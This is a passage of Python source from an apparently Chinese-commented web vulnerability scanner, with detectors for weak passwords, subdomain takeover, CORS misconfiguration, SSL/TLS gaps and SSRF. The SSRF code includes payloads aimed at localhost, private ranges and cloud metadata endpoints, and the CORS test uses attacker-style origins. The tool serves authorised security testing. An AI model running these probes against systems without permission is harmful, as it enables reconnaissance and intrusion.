                                        'vuln_id': generate_vulnerability_id('weak_password'),
                                        'vuln_type': 'weak_password',
                                        'path': form_action,
                                        'payload': f'用户名: {username}, 密码: {password}',
                                        'evidence': '检测到弱密码',
                                        'raw_score': 0.8,
                                        'severity': 'high'
                                    }
                                    vulnerabilities.append(vuln)
                                    break
                            except Exception as e:
                                logger.debug(f"弱密码测试错误: {str(e)}")
    
    except Exception as e:
        logger.error(f"弱密码扫描错误: {str(e)}")
    
    # 为每个漏洞生成修复建议
    for vuln in vulnerabilities:
        vuln['suggestion'] = generate_suggestion(vuln['vuln_type'])
    
    logger.info(f"弱密码检测完成，发现{len(vulnerabilities)}个漏洞")
    return vulnerabilities

# 子域名接管检测
def scan_subdomain_takeover(target_url, scan_depth):
    """检测子域名接管漏洞"""
    vulnerabilities = []
    logger.info(f"开始子域名接管检测: {target_url}")
    
    try:
        # 提取主域名
        from urllib.parse import urlparse
        parsed_url = urlparse(target_url)
        main_domain = parsed_url.netloc.split('.')[-2:]  # 获取最后两个部分作为主域名
        domain_base = '.'.join(main_domain)
        
        # 常见子域名列表
        common_subdomains = ['www', 'admin', 'test', 'dev', 'staging', 'api', 'mail']
        
        # 测试子域名
        for subdomain in common_subdomains[:3]:  # 限制测试数量
            test_domain = f"{subdomain}.{domain_base}"
            test_url = f"http://{test_domain}"
            
            try:
                # 检查DNS解析
                import socket
                socket.gethostbyname(test_domain)
                
                # 发送HTTP请求
                response = make_request(test_url, timeout=5)
                
                # 检查响应中是否包含平台接管的特征
                if response:
                    takeover_signatures = [
                        'No such app', 'Application not found',
                        'There\'s nothing here', 'Repository not found',
                        'The feed has not been found', 'Project doesnt exist',
                        'Bucket does not exist', 'No settings were found for this company',
                        'This domain is not configured', 'No Site Found'
                    ]
                    
                    for signature in takeover_signatures:
                        if signature in response.text:
                            vuln = {
                                'vuln_id': generate_vulnerability_id('subdomain_takeover'),
                                'vuln_type': 'subdomain_takeover',
                                'path': test_url,
                                'evidence': f'检测到可能的子域名接管，特征: {signature}',
                                'raw_score': 0.95,
                                'severity': 'high'
                            }
                            vulnerabilities.append(vuln)
                            break
            except socket.gaierror:
                # DNS解析失败，可能已注册但未配置
                logger.debug(f"子域名 {test_domain} 未解析")
            except Exception as e:
                logger.debug(f"子域名测试错误: {str(e)}")
    
    except Exception as e:
        logger.error(f"子域名接管扫描错误: {str(e)}")
    
    # 为每个漏洞生成修复建议
    for vuln in vulnerabilities:
        vuln['suggestion'] = generate_suggestion(vuln['vuln_type'])
    
    logger.info(f"子域名接管检测完成，发现{len(vulnerabilities)}个漏洞")
    return vulnerabilities

# CORS配置错误检测
def scan_cors_misconfiguration(target_url, scan_depth):
    """检测CORS配置错误"""
    vulnerabilities = []
    logger.info(f"开始CORS配置错误检测: {target_url}")
    
    try:
        # 发送带Origin头的请求
        origins = ['http://attacker.com', 'null', 'https://evil-site.net']
        
        for origin in origins[:2]:  # 限制测试数量
            headers = {'Origin': origin}
            response = make_request(target_url, headers=headers, timeout=5)
            
            if response:
                # 检查CORS响应头
                cors_headers = {
                    'access-control-allow-origin': response.headers.get('Access-Control-Allow-Origin', '').lower(),
                    'access-control-allow-credentials': response.headers.get('Access-Control-Allow-Credentials', '').lower(),
                    'access-control-allow-methods': response.headers.get('Access-Control-Allow-Methods', '').lower()
                }
                
                # 检测危险的CORS配置
                if cors_headers['access-control-allow-origin'] == '*' and \
                   cors_headers['access-control-allow-credentials'] == 'true':
                    vuln = {
                        'vuln_id': generate_vulnerability_id('cors_misconfiguration'),
                        'vuln_type': 'cors_misconfiguration',
                        'path': target_url,
                        'evidence': '检测到危险的CORS配置：Access-Control-Allow-Origin: * 和 Access-Control-Allow-Credentials: true',
                        'raw_score': 0.75,
                        'severity': 'medium'
                    }
                    vulnerabilities.append(vuln)
                
                elif cors_headers['access-control-allow-origin'] == origin:
                    vuln = {
                        'vuln_id': generate_vulnerability_id('cors_misconfiguration'),
                        'vuln_type': 'cors_misconfiguration',
                        'path': target_url,
                        'evidence': f'检测到不安全的CORS配置，允许任意来源: {origin}',
                        'raw_score': 0.7,
                        'severity': 'medium'
                    }
                    vulnerabilities.append(vuln)
    
    except Exception as e:
        logger.error(f"CORS配置扫描错误: {str(e)}")
    
    # 为每个漏洞生成修复建议
    for vuln in vulnerabilities:
        vuln['suggestion'] = generate_suggestion(vuln['vuln_type'])
    
    logger.info(f"CORS配置检测完成，发现{len(vulnerabilities)}个漏洞")
    return vulnerabilities

# SSL/TLS配置问题检测
def scan_ssl_tls_issues(target_url, scan_depth):
    """检测SSL/TLS配置问题"""
    vulnerabilities = []
    logger.info(f"开始SSL/TLS配置检测: {target_url}")
    
    try:
        # 检查HTTPS是否可用
        if not target_url.startswith('https://'):
            https_url = target_url.replace('http://', 'https://')
            try:
                response = make_request(https_url, timeout=5, verify=True)
                if not response:
                    # HTTPS不可用或有问题
                    vuln = {
                        'vuln_id': generate_vulnerability_id('ssl_tls_issues'),
                        'vuln_type': 'ssl_tls_issues',
                        'path': target_url,
                        'evidence': '未正确配置HTTPS',
                        'raw_score': 0.6,
                        'severity': 'medium'
                    }
                    vulnerabilities.append(vuln)
            except Exception:
                # HTTPS请求失败
                pass
        
        # 检查是否存在HTTP到HTTPS的强制重定向
        if target_url.startswith('http://'):
            response = make_request(target_url, allow_redirects=True, timeout=5)
            if response and not any(redirect.url.startswith('https://') for redirect in response.history):
                vuln = {
                    'vuln_id': generate_vulnerability_id('ssl_tls_issues'),
                    'vuln_type': 'ssl_tls_issues',
                    'path': target_url,
                    'evidence': '未配置HTTP到HTTPS的强制重定向',
                    'raw_score': 0.5,
                    'severity': 'low'
                }
                vulnerabilities.append(vuln)
        
        # 检查HSTS头
        response = make_request(target_url.replace('http://', 'https://') if target_url.startswith('http://') else target_url, 
                              timeout=5, verify=False)  # 临时忽略证书验证
        if response and 'Strict-Transport-Security' not in response.headers:
            vuln = {
                'vuln_id': generate_vulnerability_id('ssl_tls_issues'),
                'vuln_type': 'ssl_tls_issues',
                'path': target_url,
                'evidence': '缺少HSTS头',
                'raw_score': 0.4,
                'severity': 'low'
            }
            vulnerabilities.append(vuln)
    
    except Exception as e:
        logger.error(f"SSL/TLS扫描错误: {str(e)}")
    
    # 为每个漏洞生成修复建议
    for vuln in vulnerabilities:
        vuln['suggestion'] = generate_suggestion(vuln['vuln_type'])
    
    logger.info(f"SSL/TLS配置检测完成，发现{len(vulnerabilities)}个漏洞")
    return vulnerabilities

def scan_ssrf(target_url, scan_depth):
    """扫描服务器端请求伪造(SSRF)漏洞"""
    vulnerabilities = []
    logger.info(f"开始SSRF漏洞扫描: {target_url}")
    
    # 构建基础URL（去除查询参数和路径）
    from urllib.parse import urlparse, quote
    parsed_url = urlparse(target_url)
    base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
    
    # 常见的SSRF参数名称
    common_params = [
        'url', 'link', 'uri', 'path', 'file', 'proxy', 'dest', 'destination', 
        'callback', 'redirect', 'referer', 'ref', 'page', 'view', 'document',
        'log', 'debug', 'import', 'export', 'template', 'feed', 'image'
    ]
    
    # 测试用的内部目标
    ssrf_payloads = [
        'http://localhost:80',
        'http://localhost:8080',
        'http://127.0.0.1:22',
        'http://[::1]:80',
        'http://0:80',
        'http://169.254.169.254/latest/meta-data/',  # AWS元数据
        'http://metadata.google.internal/computeMetadata/v1/',  # GCP元数据
        'http://10.0.0.1',
        'http://172.16.0.1',
        'http://192.168.1.1'
    ]
    
    # 尝试检测潜在的SSRF端点
    try:
        # 1. 检查常见URL参数中的SSRF
        for param in common_params[:10]:  # 只测试前10个常见参数以控制扫描速度
            for payload in ssrf_payloads[:3]:  # 只测试前3个避免过多请求
                test_url = f"{base_url}/?{param}={quote(payload)}"
                try:
                    response = make_request(test_url, timeout=5, allow_redirects=False)
                    
                    # 分析响应寻找SSRF迹象
                    if response and response.status_code in [200, 401, 403] and (
                        'localhost' in response.text.lower() or 
                        '127.0.0.1' in response.text.lower() or
                        'connection refused' in response.text.lower() or
                        'connection reset' in response.text.lower() or
                        'no route to host' in response.text.lower() or
                        '无法连接' in response.text.lower() or
                        '拒绝连接' in response.text.lower()
                    ):
                        vuln = {
                            'vuln_id': generate_vulnerability_id('ssrf'),
                            'vuln_type': 'ssrf',
                            'path': test_url,
                            'payload': payload,
                            'evidence': f'参数{param}可能存在SSRF漏洞，响应状态码: {response.status_code}, 响应内容包含内部地址信息',
                            'raw_score': 0.85,
                            'severity': 'high'
                        }
                        vulnerabilities.append(vuln)
                        break  # 发现漏洞后停止对该参数的测试
                except Exception as e:
                    logger.debug(f"SSRF测试请求失败: {str(e)}")
        
        # 2. 检查POST请求中的SSRF
        for param in common_params[:5]:  # 只测试前5个常见参数
            for payload in ssrf_payloads[:2]:  # 只测试前2个避免过多请求
                test_url = f"{base_url}/"
                try:
                    response = make_request(test_url, method='POST', 
                                          data={param: payload}, timeout=5)
                    
                    # 分析响应寻找SSRF迹象
                    if response and response.status_code in [200, 401, 403] and (
                        'localhost' in response.text.lower() or 
                        '127.0.0.1' in response.text.lower() or
                        'connection refused' in response.text.lower()
                    ):
                        vuln = {
                            'vuln_id': generate_vulnerability_id('ssrf'),
                            'vuln_type': 'ssrf',
                            'path': test_url,
                            'payload': f"POST请求中参数{param}={payload}",
                            'evidence': f'POST请求中参数{param}可能存在SSRF漏洞，响应状态码: {response.status_code}',
                            'raw_score': 0.85,
                            'severity': 'high'
                        }
                        vulnerabilities.append(vuln)
                        break  # 发现漏洞后停止对该参数的测试
                except Exception as e:
                    logger.debug(f"SSRF POST测试请求失败: {str(e)}")
                    
        # 3. 检查重定向中的SSRF
        redirect_payloads = [
            'http://localhost:80',
            '//localhost:80',
            'https://localhost:80'
        ]
        
        for payload in redirect_payloads:
            test_url = f"{base_url}/?redirect={quote(payload)}"
            try:
                response = make_request(test_url, timeout=5, allow_redirects=True, max_redirects=1)
                
                # 检查是否有重定向到内部地址
                if response and hasattr(response, 'history') and response.history:
                    for resp in response.history:
                        if resp.headers.get('Location') and any(internal in resp.headers['Location'].lower() 
                                                              for internal in ['localhost', '127.0.0.1']):
                            vuln = {
                                'vuln_id': generate_vulnerability_id('ssrf'),
                                'vuln_type': 'ssrf',
                                'path': test_url,
                                'payload': payload,
                                'evidence': f'重定向参数可能存在SSRF漏洞，重定向到内部地址: {resp.headers["Location"]}',
                                'raw_score': 0.8,
                                'severity': 'high'
                            }
                            vulnerabilities.append(vuln)
                            break
            except Exception as e:
                logger.debug(f"SSRF重定向测试失败: {str(e)}")
    except Exception as e:
        logger.error(f"SSRF扫描过程中发生错误: {str(e)}")
    
    # 为每个漏洞生成修复建议
    for vuln in vulnerabilities:
        vuln['suggestion'] = generate_suggestion(vuln['vuln_type'])
    
    logger.info(f"SSRF漏洞扫描完成，发现{len(vulnerabilities)}个漏洞")
    return vulnerabilities